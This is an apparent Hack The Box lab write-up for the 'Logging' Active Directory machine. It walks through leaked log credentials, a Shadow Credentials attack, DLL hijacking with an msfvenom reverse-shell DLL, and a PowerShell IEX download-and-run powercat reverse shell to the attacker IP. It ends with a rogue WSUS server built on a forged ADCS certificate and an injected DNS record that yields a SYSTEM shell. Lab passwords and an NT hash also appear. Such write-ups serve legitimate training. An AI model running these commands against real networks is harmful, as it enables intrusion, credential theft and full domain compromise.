Description
Logging is a medium Hack The Box machine that features:
- Active Directory initial reconnaissance via an assumed breach scenario
- SMB Enumeration leads to the discovery of credentials in a log saved in a shared folder
- User Pivoting via the
GenericWritepermissions and the Shadow Credentials attack, allowing to have remote permission to the machine - User Pivoting by using DLL Hijacking technique over a service executed by another user
- Privilege Escalation with a rogue WSUS server and malicious updates, with the injection of DNS values and the generation of a TLS certificate trusted by the domain
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.40.79.
$ ping -c 3 10.129.40.79
PING 10.129.40.79 (10.129.40.79) 56(84) bytes of data.
64 bytes from 10.129.40.79: icmp_seq=1 ttl=127 time=43.7 ms
64 bytes from 10.129.40.79: icmp_seq=2 ttl=127 time=43.0 ms
64 bytes from 10.129.40.79: icmp_seq=3 ttl=127 time=45.7 ms
--- 10.129.40.79 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.035/44.133/45.676/1.123 ms
The machine is active and with the TTL that equals 127 (128 minus 1 jump) we can assure that it is an Windows machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.129.40.79 -sS -Pn -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.40.79
Host is up (0.043s latency).
Not shown: 987 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 6.90 seconds
We get many open ports, maybe related to an Active Directory environment.
Enumeration
Then we do a more advanced scan, with service version and scripts.
$ nmap 10.129.40.79 -sV -sC -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.40.79
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.15 seconds
We find that this machine is the Domain Controller of the domain logging.htb with DC01 hostname. We add the hosts to the /etc/hosts file and we update the date and the time of the machine.
$ echo "10.129.40.79 logging.htb" | sudo tee -a /etc/hosts
$ echo "10.129.40.79 DC01.logging.htb" | sudo tee -a /etc/hosts
$ sudo timedatectl set-ntp off
$ sudo rdate -n logging.htb
We start the enumeration of the domain with an assumed breach, we have the password of the wallace.everette user, Welcome2026@. We find one shared folder over the SMB protocol, with the Logs name, we download all the files.
$ smbclient -L '//logging.htb/' -U 'wallace.everette%Welcome2026@'
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Logs Disk
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
WSUSTemp Disk A network share used by Local Publishing from a Remote WSUS Console Instance.
$ smbclient '//logging.htb/Logs' -U 'wallace.everette%Welcome2026@'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Apr 17 01:10:09 2026
.. D 0 Fri Apr 17 01:10:09 2026
Audit_Heartbeat.log A 1294 Fri Apr 17 01:10:09 2026
IdentitySync_Trace_20260219.log A 8488 Fri Apr 17 01:10:09 2026
Service_State.log A 468 Fri Apr 17 01:10:09 2026
TaskMonitor.log A 1170 Fri Apr 17 01:10:09 2026
6657279 blocks of size 4096. 1042011 blocks available
smb: \> mget *
Get file Audit_Heartbeat.log? y
Get file IdentitySync_Trace_20260219.log? y
Get file Service_State.log? y
Get file TaskMonitor.log? y
We find credentials in the IdentitySync_trace_20260219.log file, with the svc_recovery username and the Em3rg3ncyPa$$2025 password.
$ cat IdentitySync_Trace_20260219.log
...
[2026-02-09 03:00:01.442] [PID:4102] [Thread:12] INFO - Service: logging.IdentitySync.Engine.Internal (v2.4.2.0)
[2026-02-09 03:00:01.458] [PID:4102] [Thread:12] DEBUG - Environment: OS=Microsoft Windows Server 2019, CoreCount=4, Mem=16GB
[2026-02-09 03:00:01.470] [PID:4102] [Thread:12] INFO - Initializing module [HR-Connector]...
[2026-02-09 03:00:02.215] [PID:4102] [Thread:12] INFO - Establishing SQL session with HR01.logging.htb...
[2026-02-09 03:00:02.890] [PID:4102] [Thread:08] TRACE - Querying [loggingHR].[dbo].[Employees] where SyncStatus = 0
[2026-02-09 03:00:03.012] [PID:4102] [Thread:08] INFO - SQL Session verified. Synchronizing 14 records (BatchID: 88AF-01).
[2026-02-09 03:00:03.055] [PID:4102] [Thread:04] INFO - Validating AD target health: DC01.logging.htb (Port 389)
[2026-02-09 03:00:03.110] [PID:4102] [Thread:04] TRACE - Initializing LdapConnection object...
[2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - ConnectionContext Dump: { Domain: "logging.htb", Server: "DC01", SSL: "False", BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025", Timeout: 30 }
[2026-02-19 03:00:03.488] [PID:4102] [Thread:04] ERROR - System.DirectoryServices.Protocols.LdapException: A local error occurred.
at System.DirectoryServices.Protocols.LdapConnection.Bind(NetworkCredential credential)
at logging.IdentitySync.Engine.LdapProvider.Connect()
--- Server Error Details ---
Server error: 8009030C: LdapErr: DSID-0C090569, comment: AcceptSecurityContext error, data 52e, v4563
Hex Error: 0x31 (LDAP_INVALID_CREDENTIALS)
Win32 Error: 49 (Invalid Credentials)
----------------------------
[2026-02-19 03:00:03.510] [PID:4102] [Thread:12] WARN - Connectivity failed for logging\svc_recovery. Checking alternate Domain Controller...
[2026-02-09 03:00:03.650] [PID:4102] [Thread:12] CRITICAL - Domain-wide LDAP bind failure. Task aborted.
[2026-02-10 03:00:03.702] [PID:4102] [Thread:12] DEBUG - Generating SMTP alert for it-alerts@logging.htb
[2026-02-10 03:00:04.112] [PID:4102] [Thread:12] INFO - Process exit code: 1. Cleaning up session buffers.
[2026-02-10 03:05:00.005] [PID:4102] [Thread:01] INFO - Heartbeat: Service [IdentitySync.Engine] is RESPONSIVE.
[2026-02-11 03:05:01.210] [PID:4102] [Thread:14] TRACE - Threadpool: 4 active, 0 queued.
...
We check that the password is incorrect for the svc_recovery user.
$ netexec ldap logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2025' 130
LDAP 10.129.40.79 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:logging.htb)
LDAP 10.129.40.79 389 DC01 [-] logging.htb\svc_recovery:Em3rg3ncyPa$$2025
We move to enumerate the information about the svc_recovery user using the rpcclient tool, to check the groups it belongs.
$ rpcclient -U 'logging.htb/wallace.everette%Welcome2026@' logging.htb
rpcclient $> lookupnames svc_recovery
svc_recovery S-1-5-21-4020823815-2796529489-1682170552-2104 (User: 1)
rpcclient $> queryusergroups 2104
group rid:[0x835] attr:[0x7]
group rid:[0x201] attr:[0x7]
group rid:[0x20d] attr:[0x7]
rpcclient $> querygroup 0x835
Group Name: Emergency Recovery
Description:
Group Attribute:7
Num Members:1
rpcclient $> querygroup 0x201
Group Name: Domain Users
Description: All domain users
Group Attribute:7
Num Members:11
rpcclient $> querygroup 0x20d
Group Name: Protected Users
Description: Members of this group are afforded additional protections against authentication security threats. See http://go.microsoft.com/fwlink/?LinkId=298939 for more information.
Group Attribute:7
Num Members:2
svc_recovery user belongs to the Emergency Recovery, Domain Users and Protected Users groups. Users of the Protected Users group are only allowed to login using the Kerberos protocol. After some digging we find that the correct password is Em3rg3ncyPa$$2026, following the format of the first assumed breach password.
$ netexec ldap logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026' -k
LDAP logging.htb 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:logging.htb)
LDAP logging.htb 389 DC01 [+] logging.htb\svc_recovery:Em3rg3ncyPa$$2026
Exploitation
We find that the svc_recovery user has the GenericWrite permission over the msa_health$ managed service account (MSA).
$ bloodyAD -d logging.htb --host DC01.logging.htb -u 'svc_recovery' -p 'Em3rg3ncyPa$$2026' -k get writable
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=logging,DC=htb
permission: WRITE
distinguishedName: CN=svc_recovery,CN=Users,DC=logging,DC=htb
permission: WRITE
distinguishedName: CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb
permission: WRITE
We can recover the hashed password (NTLM) of the msa_health$ user using the Shadow Credentials attack.
$ certipy-ad shadow auto -target DC01.logging.htb -dc-host DC01.logging.htb -username 'svc_recovery@logging.htb' -password 'Em3rg3ncyPa$$2026' -k -account 'msa_health$'
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: DC01.logging.htb.
[!] Use -debug to print a stacktrace
[*] Targeting user 'msa_health$'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '25f820644d9541afacab3a7762a126a9'
[*] Adding Key Credential with device ID '25f820644d9541afacab3a7762a126a9' to the Key Credentials for 'msa_health$'
[*] Successfully added Key Credential with device ID '25f820644d9541afacab3a7762a126a9' to the Key Credentials for 'msa_health$'
[*] Authenticating as 'msa_health$' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'msa_health$@logging.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'msa_health.ccache'
[*] Wrote credential cache to 'msa_health.ccache'
[*] Trying to retrieve NT hash for 'msa_health$'
[*] Restoring the old Key Credentials for 'msa_health$'
[*] Successfully restored the old Key Credentials for 'msa_health$'
[*] NT hash for 'msa_health$': 603fc24ee01a9409f83c9d1d701485c5
We get the NT hash for the msa_health$ user, 603fc24ee01a9409f83c9d1d701485c5. We also get the TGT file, msa_health.ccache. We can open a remote session using the evil-winrm tool.
$ evil-winrm-py -i logging.htb -u msa_health$ -H 603fc24ee01a9409f83c9d1d701485c5
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.5.0
[*] Connecting to 'logging.htb:5985' as 'msa_health$'
evil-winrm-py PS C:\Users\msa_health$\Documents> whoami
logging\msa_health$
Enumerating the machine, we find the logs of UpdateMonitor, a service that runs periodically.
evil-winrm-py PS C:\Users\msa_health$\Documents>
evil-winrm-py PS C:\Users\msa_health$\Documents> cd C:\ProgramData\UpdateMonitor\Logs
evil-winrm-py PS C:\ProgramData\UpdateMonitor\Logs> dir
Directory: C:\ProgramData\UpdateMonitor\Logs
Mode Length Name
---- ------ ----
-a---- 70374 monitor.log
evil-winrm-py PS C:\ProgramData\UpdateMonitor\Logs> type monitor.log
Starting Sentinel Update Check...
Checking for update on core server...
Info: Core did not find file Settings_Update.zip
Last status: File not found on core
Checking for update on local server...
No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.
Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
Failed to load settings_update.dll. Error code: 126
Update check completed.
The log describes a failed update check process performed by the Sentinel system. It begins by attempting to retrieve an update package from a central (core) server, but the file Settings_Update.zip is not found. A subsequent check on the local server also fails, as the update package is missing from the expected directory (C:\ProgramData\UpdateMonitor). The system then attempts to load a dynamic library (settings_update.dll) responsible for applying updates, but this step also fails with error code 126, indicating the DLL could not be loaded, likely due to it being missing or having unresolved dependencies. Overall, the update process completes without success due to missing update files and a failure in loading the update handler.
If we were allowed to write in the C:\ProgramData\UpdateMonitor directory we would be able of creating a malicious .zip update bundle to inject a .dll file that will open a reverse shell as the user that is running the service. We start by creating the .dll file and the .zip file.
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.167 LPORT=1234 -f dll > settings_update.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of dll file: 9216 bytes
$ zip -r Settings_Update.zip settings_update.dll
adding: settings_update.dll (deflated 82%)
Then we upload it to the UpdateMonitor folder with the appropriate permissions. But firstly we need to open a listening TCP port in 1234 port, with nc -nvlp 1234 command.
evil-winrm-py PS C:\ProgramData\UpdateMonitor\Logs> cd ..
evil-winrm-py PS C:\ProgramData\UpdateMonitor> upload Settings_Update.zip .
Uploading /home/r/Documentos/htb/logging/Settings_Update.zip
[+] File uploaded successfully as: C:\ProgramData\UpdateMonitor\Settings_Update.zip
evil-winrm-py PS C:\ProgramData\UpdateMonitor> icacls "C:\ProgramData\UpdateMonitor\Settings_Update.zip" /grant "Users:(F)"
processed file: C:\ProgramData\UpdateMonitor\Settings_Update.zip
Successfully processed 1 files; Failed processing 0 files
After a few minutes we receive the reverse shell as the jaylee.clifton user.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.167] from (UNKNOWN) [10.129.40.79] 64849
Microsoft Windows [Version 10.0.17763.8644]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
logging\jaylee.clifton
Post-Exploitation
We are going to upload the shell using the powercat.ps1 tool (we start a new listening TCP port 1235).
$ mkdir server
$ cd server
$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
$ python -m http.server 80
$ nc -nvlp 1235
We run the command to spawn the reverse shell in the remote machine:
C:\Windows\system32>powershell IEX(New-Object System.Net.Webclient).DownloadString('http://10.10.14.167/powercat.ps1');powercat -c 10.10.14.167 -p 1235 -e powershell
Enumerating the remote machine we find the Wsus folder, this may indicate that the Domain Controller uses a WSUS service to download and install updates.
PS C:\Windows\system32> cd C:\
PS C:\> dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/16/2026 5:26 PM inetpub
d----- 10/10/2020 8:38 AM PerfLogs
d-r--- 4/16/2026 6:40 PM Program Files
d----- 4/10/2020 5:52 AM Program Files (x86)
d----- 4/16/2026 4:10 PM Share
d-r--- 4/17/2026 1:47 PM Users
d----- 4/16/2026 8:29 PM Windows
d----- 4/16/2026 5:29 PM Wsus
WSUS (Windows Server Update Services) is a Microsoft service that allows administrators to centrally manage and deploy updates to Windows systems within a network.
It downloads updates from Microsoft and distributes them to client machines based on configured policies. We find a HTML file with a ticked (Support Incident View) in the C:\Users\jaylee.clifton\Documents\Tickets\Incident_4922_WSUS_Remediation_ViewExport.html file.
PS C:\> ls C:\Users\jaylee.clifton\Documents\Tickets
ls C:\Users\jaylee.clifton\Documents\Tickets
Directory: C:\Users\jaylee.clifton\Documents\Tickets
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/16/2026 7:27 PM 2453 Incident_4922_WSUS_Remediation_ViewExport.html
We are able of rendering the HTML file.
Support Incident View: #4922
Assigned: jaylee.clifton [SR_SYSADMIN] Status: CLOSED - WORKAROUND APPLIED Priority: Urgent (Compliance)
2026-04-06 09:45 **Internal Note:**
Machine is still choking on the standard catalog. BITS service is garbage and I'm not wasting another morning troubleshooting the local database. Since the "official" server migration is apparently taking forever, I've pointed this box to the staging endpoint at **wsus.logging.htb**.
2026-04-06 13:20 **Internal Note:**
DNS is still not updated-standard for this department-so don't bother pinging it from outside the test subnet. I've set up a scheduled "ForceSync" task to deal with the inevitable lockups.
2026-04-06 16:10 **Final Resolution:**
Task is running on a 120s loop. It nukes SoftwareDistribution and restarts the agent every cycle. It's a hack, but it works and it keeps the compliance auditors off my back. **Do not touch the trigger settings.** If the services don't come back up, that's your problem.
From a vulnerability perspective, this incident reveals several security weaknesses and risky operational practices. The system has been manually reconfigured to use a non-standard staging WSUS endpoint instead of the official update infrastructure, which could expose it to update spoofing or trust issues if that endpoint is not properly secured. Additionally, DNS inconsistencies and reliance on a test subnet suggest improper network segmentation and potential name resolution weaknesses. The creation of a scheduled task that repeatedly resets the Windows Update components (by deleting the SoftwareDistribution folder and restarting services every 120 seconds) introduces instability and could be abused for persistence or execution if modified. Overall, the workaround bypasses standard controls, weakens update integrity, and creates multiple potential attack surfaces around update delivery and task execution.
The vulnerability described in the Digitrace blog article is essentially a chain attack that abuses misconfigured AD CS to break the trust model of HTTPS-secured WSUS, often referred to as a new ADCS abuse class (sometimes labeled ESC17). A misconfigured ADCS allows attackers to generate trusted certificates, impersonate a WSUS server over HTTPS, and deliver malicious updates leading to SYSTEM-level compromise.
We can enumerate the WSUS configuration from the remote machine by querying some registry keys, as checked in the TrustedSec blog article.
PS C:\> reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ https://wsus.logging.htb:8531
AcceptTrustedPublisherCerts REG_DWORD 0x1
SetProxyBehaviorForUpdateDetection REG_DWORD 0x0
WUStatusServer REG_SZ https://wsus.logging.htb:8531
UpdateServiceUrlAlternate REG_SZ https://wsus.logging.htb:8531
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU
We find that the WSUS update server points to the wsus.logging.htb name, using HTTPs with 8531 port. If we try to resolve the hostname, no results are found.
PS C:\> nslookup wsus.logging.htb
nslookup wsus.logging.htb
*** localhost can't find wsus.logging.htb: Non-existent domain
Server: localhost
Address: 127.0.0.1
This means that we will be able of adding an extra DNS entry to the domain controller, to point the WSUS server to our machine to then create a rogue server for the machine to download malicious update to gain full permissions over the machine. But as we found previously, the server is a HTTPS one, so we need to have a TLS certicate that is signed by a Certificate Authority trusted by the Domain Controller. We are going to check if we are have permissions to generate certificates with the certipy and jq tools.
$ certipy-ad find -u msa_health$ -hashes 603fc24ee01a9409f83c9d1d701485c5 -dc-host DC01.logging.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: DC01.logging.htb.
[!] Use -debug to print a stacktrace
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
...
$ jq -r ' .["Certificate Templates"][] | select(.["Enrollee Supplies Subject"] and .Enabled) | "\(.["Template Name"])\n" + (.Permissions["Enrollment Permissions"]["Enrollment Rights"] | map(" " + .) | join("\n")) + "\n" ' Certipy.json
UpdateSrv
LOGGING.HTB\IT
LOGGING.HTB\Domain Admins
LOGGING.HTB\Enterprise Admins
SubCA
LOGGING.HTB\Domain Admins
LOGGING.HTB\Enterprise Admins
WebServer
LOGGING.HTB\Domain Admins
LOGGING.HTB\Enterprise Admins
We find that users that belong to the IT group can request certificates using the UpdateSrv certificate template. jaylee.clifton belongs to the group.
PS C:\> net user jaylee.clifton
net user jaylee.clifton
User name jaylee.clifton
...
Local Group Memberships *Performance Log Users
Global Group memberships *Domain Users *IT
The command completed successfully.
We have no credentials of the jaylee.clifton account to generate the certificates using the certipy tool, so we need to generate it from the remote Windows machine. We are going to use the Certify tool using a compiled binary downloaded in the machine. Then we enumerate the Active Directory Certificate Services.
PS C:\> mkdir Temp
PS C:\> cd Temp
PS C:\Temp> IWR -OutFile Certify.py http://10.10.14.167/Certify.exe
PS C:\Temp> .\Certify.exe enum-cas
...
[*] Action: Find certificate authorities
[*] Using the search base 'CN=Configuration,DC=logging,DC=htb'
[*] Classifying vulnerabilities in the context of built-in low-privileged domain groups.
[*] Root CAs
Cert SubjectName : CN=logging-DC01-CA, DC=logging, DC=htb
Cert Thumbprint : 2DF3A80A22B1C559D4CD9A7815766707756E44FD
Cert Serial : 196621CCC95B9C904E63B58E449ABC04
Cert Start Date : 4/16/2026 8:20:00 PM
Cert End Date : 4/16/2126 8:30:00 PM
Cert Chain : CN=logging-DC01-CA,DC=logging,DC=htb
Cert SubjectName : CN=logging-DC01-CA, DC=logging, DC=htb
Cert Thumbprint : F9602D8DFD301348688BFA75B5737FE4E03B3393
Cert Serial : 7F87CFC6B0EE398E493EE3663D519C97
Cert Start Date : 4/16/2026 7:46:09 AM
Cert End Date : 4/16/2036 7:56:08 AM
Cert Chain : CN=logging-DC01-CA,DC=logging,DC=htb
...
We find the name of the Certification Authority, logging-DC01-CA, we use it and the name of the template, UpdateSrv to request a certificate for the wsus.logging.htb domain.
PS C:\Temp> .\Certify.exe request --ca DC01.logging.htb\logging-DC01-CA --template UpdateSrv --dns wsus.logging.htb
...
[*] Action: Request a certificate
[*] Current user context : logging\jaylee.clifton
[*] No subject name specified, using current context as subject.
[*] Template : UpdateSrv
[*] Subject : CN=jaylee.clifton, CN=Users, DC=logging, DC=htb
[*] Subject Alt Name(s) : wsus.logging.htb
[*] Certificate Authority : DC01.logging.htb\logging-DC01-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 7
[*] Certificate (PFX) :
MIACAQMwgAYJKoZIhvcNAQcBoIAk...AAAAAAAAAAAAAAAAAAAAA=
Certify completed in 00:00:03.9876456
Then we copy the certificate to our machine, in PFX format, and we convert it to PEM format.
$ echo 'MIACAQMwgAYJKoZIhvcNAQcBoIAk...AAAAAAAAAAAAAAAAAAAAA=' | base64 -d > tls_certificate.pfx
$ openssl pkcs12 -in tls_certificate.pfx -out tls_certificate.pem -nodes
Then we generate the payload that will be executed by the WSUS client, in this case a reverse shell will be spawned.
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.167 LPORT=1236 -f exe > CommandRun.exe
Then the file will be downloaded in the remote machine.
PS C:\Temp> iwr -OutFile CommandRun.exe http://10.10.14.167/CommandRun.exe
The next step is to deploy the malicious WSUS server. For that we can use the wsuks tool by starting a fake WSUS HTTPS server, binding it to the tun0 interface on port 8531 with a custom TLS certificate. It advertises a WSUS server address pointing to our machine to simulate or intercept Windows Update traffic. In this case the tool will spawn a reverse shell. We also add the entry to our /etc/hosts file
$ echo '10.10.14.167 wsus.logging.htb' | sudo tee -a /etc/hosts
$ git clone https://github.com/NeffIsBack/wsuks
$ cd wsuks
$ python -m venv venv
$ . venv/bin/activate
$ pip install poetry pip-nftables
$ poetry install
$ sudo venv/bin/wsuks --serve-only -I tun0 --WSUS-Server wsus.logging.htb --tls-cert ../tls_certificate.pem -c '/accepteula /s powershell.exe "C:\Temp\CommandRun.exe"'
...
[+] Command to execute:
PsExec64.exe /accepteula /s powershell.exe "C:\Temp\CommandRun.exe"
[*] ===== Starting Web Server =====
[*] Using TLS certificate '../tls_certificate.pem' for HTTPS WSUS Server
[*] Starting WSUS Server on 10.10.14.167:8531...
[*] Serving executable as KB: 5183062
The server is active. We finally use the bloodyAD tool to add the DNS entry to the domain controller.
$ bloodyAD -d logging.htb --host DC01.logging.htb -u 'svc_recovery' -p 'Em3rg3ncyPa$$2026' -k add dnsRecord wsus.logging.htb 10.10.14.167
[+] wsus.logging.htb has been successfully added
After a few seconds a connection is received in our fake WSUS server and the command is executed.
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetConfig"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/SyncUpdates"
[+] Received POST request: /ClientWebService/client.asmx, SOAP Action: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetExtendedUpdateInfo"
[+] Received GET request: /95d5137a-7aba-4377-bd12-9dcedf0c6864/PsExec64.exe
[+] GET request for exe: /95d5137a-7aba-4377-bd12-9dcedf0c6864/PsExec64.exe
[+] Received GET request: /95d5137a-7aba-4377-bd12-9dcedf0c6864/PsExec64.exe
[+] GET request for exe: /95d5137a-7aba-4377-bd12-9dcedf0c6864/PsExec64.exe
We receive the reverse shell as the SYSTEM user.
$ nc -nvlp 1236
listening on [any] 1236 ...
connect to [10.10.14.167] from (UNKNOWN) [10.129.40.79] 49837
Microsoft Windows [Version 10.0.17763.8644]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
We finally restore our machine date and time.
$ sudo timedatectl set-ntp on
Flags
With administrative permissions, we can retrieve the user.txt and root.txt flags.
C:\Windows\system32>type c:\users\jaylee.clifton\desktop\user.txt
<REDACTED>
C:\Windows\system32>type c:\users\toby.brynleigh\Desktop\root.txt
<REDACTED>